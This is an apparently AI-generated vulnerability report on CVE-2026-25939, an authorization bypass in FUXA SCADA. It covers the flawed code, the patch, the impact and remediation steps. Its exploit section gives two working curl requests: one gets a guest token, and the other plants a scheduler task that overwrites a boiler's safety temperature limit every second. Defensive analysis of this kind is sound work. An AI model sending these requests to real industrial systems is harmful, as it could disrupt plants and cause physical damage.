CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25939
9.3

Ghost in the Machine: Unrestricted Guest Access in FUXA SCADA

Alon Barad
Alon Barad
Software Engineer

Feb 10, 2026·6 min read·18 visits

PoC Available

Executive Summary (TL;DR)

FUXA's 'Heartbeat' API hands out Guest JWTs like candy. The Scheduler API checks if the token is signed, but forgets to check if the user is actually allowed to touch the machinery. Result: Unauthenticated remote control of industrial hardware.

A critical authorization bypass vulnerability in FUXA SCADA software (versions 1.2.8 - 1.2.10) allows unauthenticated attackers to obtain 'Guest' privileges and subsequently manipulate system schedulers. Because FUXA schedulers can directly control PLC registers and execute server-side scripts, this flaw permits remote actors to disrupt industrial processes, modify equipment states, or exhaust system resources without valid credentials.

The Hook: SCADA on the Web, What Could Go Wrong?

Operational Technology (OT) and Information Technology (IT) have been awkwardly dating for years, and FUXA is their love child: a web-based Process Visualization system (SCADA/HMI) built on Node.js. It’s sleek, it’s modern, and it allows engineers to control valves, pumps, and sensors from a browser. It’s also a perfect example of why 'modern web stack' and 'critical infrastructure' are a terrifying combination when security is an afterthought.

In the world of SCADA, authorization is everything. You don't want the intern turning off the cooling system, and you certainly don't want a random script kiddie on the internet doing it. But in CVE-2026-25939, that's exactly what happened. The developers implemented a 'Guest' mode—a feature that sounds polite but, in this context, is akin to leaving your house keys under the mat and putting up a billboard about it.

This isn't a complex buffer overflow or a heap grooming masterclass. This is a logic flaw, pure and simple. It’s the digital equivalent of a security guard checking that you have a badge, but not bothering to read the name on it before letting you into the vault.

The Flaw: A Case of Mistaken Identity

The vulnerability lies in how FUXA handles its JWT (JSON Web Token) authentication flow, specifically between the 'Heartbeat' and 'Scheduler' endpoints. FUXA is designed to be user-friendly, and part of that friendliness is a 'Guest' access feature. If you hit the API without a token, the system essentially shrugs and hands you a guest badge so you can view the dashboard.

Here is the logic in the heartbeat endpoint (/api/heartbeat). If you aren't authenticated, it calls authJwt.getGuestToken():

// server/api/index.js (The Vending Machine)
apiApp.post('/api/heartbeat', authMiddleware, function (req, res) {
    if (req.body.params) {
        if (!req.isAuthenticated) {
            // "Oh, you're new here? Here's a key."
            return res.json({
                token: authJwt.getGuestToken()
            });
        }
    }
    return res.end();
});

The problem wasn't issuing the token; guests need to see things. The problem was that other critical parts of the API trusted this token too much. The Scheduler API (/api/scheduler), which is responsible for automating tasks (like toggling a PLC bit at 5:00 PM), was protected by middleware called secureFnc.

Crucially, secureFnc only verified that the JWT was cryptographically valid. It checked the signature. It did not check the scope or role. So, when an attacker presented a valid Guest token (obtained freely from the heartbeat), the Scheduler API said, "Signature matches! Right this way, sir," allowing the Guest to create, modify, or delete schedules that control physical machinery.

The Code: The Smoking Gun

Let's look at the breakdown. The vulnerability exists because the scheduler route handlers lacked an explicit check for the 'guest' role. They assumed that if you passed the middleware, you were an admin or an operator.

The Vulnerable Code (Before):

// server/api/scheduler/index.js
schedulerApp.post("/api/scheduler", secureFnc, function(req, res) {
    // No role check here. 
    // If secureFnc passed, you are in.
    var scheduler = req.body;
    schedulerManager.setScheduler(scheduler).then(...);
});

The Fix (Commit 5782b35):

The developers had to manually insert a gatekeeper logic to reject guests. This highlights a failure in the middleware design (authorization should ideally be declarative), but the patch is effective.

// server/api/scheduler/index.js (Patched)
schedulerApp.post("/api/scheduler", secureFnc, function(req, res) {
    // explicitly checking if the user is a guest
    const isGuest = authJwt.isGuestUser(req.userId, req.userGroups);
    
    // If secure mode is on AND you are a guest -> GTFO
    if (runtime.settings?.secureEnabled && isGuest) {
        res.status(401).json({error:"unauthorized_error", message: "Unauthorized!"});
        runtime.logger.error("api post scheduler: Unauthorized guest");
        return;
    }
    // ... proceed to save scheduler
});

It is worth noting that they also had to patch the DELETE method. Without that, a guest couldn't add new malicious schedules, but they could still sabotage operations by deleting existing safety checks or maintenance routines.

The Exploit: Kinetic Consequences

Exploiting this is trivially easy, which makes it dangerous. There is no memory corruption, no race condition to win. It is just two HTTP requests.

Step 1: Get the Guest Badge First, we ask the server for a token. We don't need credentials.

curl -X POST http://target-scada:1881/api/heartbeat \
  -H "Content-Type: application/json" \
  -d '{"params": true}'

Response: {"token": "eyJhbGciOi...<Guest_JWT>..."}

Step 2: Command the Machine Now we use that token to inject a scheduler. In FUXA, a scheduler can write to a Tag (a variable mapped to a PLC register). Let's say Tag ID device1.temperature_limit controls the safety cutoff for a boiler. We can overwrite it.

curl -X POST http://target-scada:1881/api/scheduler \
  -H "x-access-token: eyJhbGciOi...<Guest_JWT>..." \
  -H "Content-Type: application/json" \
  -d '{
    "id": "exploit_task",
    "name": "Boiler_Overheat",
    "type": "value",
    "tagId": "device1.temperature_limit",
    "value": 9999,
    "interval": 1000
  }'

The Result: The server accepts the request. The FUXA backend now contains a persistent task that will repeatedly set the temperature limit to an unsafe value every second. Even if an operator tries to lower it manually, the scheduler will fight them and overwrite it immediately. This is persistent denial of service (DoS) or worse, depending on what the PLC controls.

The Impact: Why This Matters

In a standard web app, an authorization bypass might let you deface a homepage. In ICS/SCADA, it lets you break physics. FUXA is used to visualize and control industrial processes. By bypassing authorization to the Scheduler, an attacker gains Write Access to the underlying industrial protocol.

  1. Operational Disruption: An attacker can delete all existing schedules. If the plant relies on these schedules for batch processing or nightly shutdowns, production stops.
  2. Physical Damage: By manipulating setpoints (like the boiler example above) or toggling relays (opening/closing valves) via scheduler tasks, an attacker can cause equipment to operate outside safe parameters.
  3. Persistence: Unlike a one-off command, a scheduler task is part of the system configuration. It survives reboots (unless the config is wiped) and executes repeatedly. It allows the attacker to "fire and forget."

This vulnerability scores a CVSS 9.3 for a reason. The lack of PR (Privileges Required) and the High Integrity impact (VI:H) creates a worst-case scenario for exposed HMI panels.

The Fix: Remediation

If you are running FUXA, you need to stop what you are doing and check your version. If it is between 1.2.8 and 1.2.10, you are vulnerable.

Immediate Steps:

  1. Update: Pull version 1.2.11 or later immediately. The patch is small but vital.
  2. Audit: Check your scheduler.json or database. Look for tasks you didn't create. If you see a scheduler named "pwned" or one modifying critical tags at odd hours, you have already been visited.
  3. Config: Ensure secureEnabled is set to true in your settings. If security is disabled entirely, this patch won't help you because the middleware won't even run.

Defense in Depth: Why is your SCADA interface on the internet? Put it behind a VPN. Use an industrial firewall. FUXA's internal auth logic failed, but a network-level control (limiting access to port 1881 to trusted IPs) would have mitigated the risk of remote exploitation.

Official Patches

frangoteamCommit fixing the authorization logic in scheduler endpoints

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H

Affected Systems

FUXA SCADA/HMI Web InterfaceFUXA Server Runtime

Affected Versions Detail

Product
Affected Versions
Fixed Version
FUXA
frangoteam
>= 1.2.8, <= 1.2.101.2.11
AttributeDetail
CVE IDCVE-2026-25939
CWECWE-862 (Missing Authorization)
CVSS 4.09.3 (Critical)
Affected Versions1.2.8 - 1.2.10
Attack VectorNetwork (Remote)
Privileges RequiredNone

MITRE ATT&CK Mapping

T1078Valid Accounts
Initial Access
T1565Data Manipulation
Impact
T1496Resource Hijacking
Impact
CWE-862
Missing Authorization

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Known Exploits & Detection

Research AnalysisExploitation involves obtaining a Guest token via the heartbeat endpoint and using it to post JSON objects to the scheduler endpoint.

Vulnerability Timeline

Patch committed to main branch
2026-02-03
Version 1.2.11 released
2026-02-08
CVE and Advisory Published
2026-02-09

References & Sources

  • [1]GitHub Advisory GHSA-c869-jx4c-q5fc
  • [2]FUXA v1.2.11 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.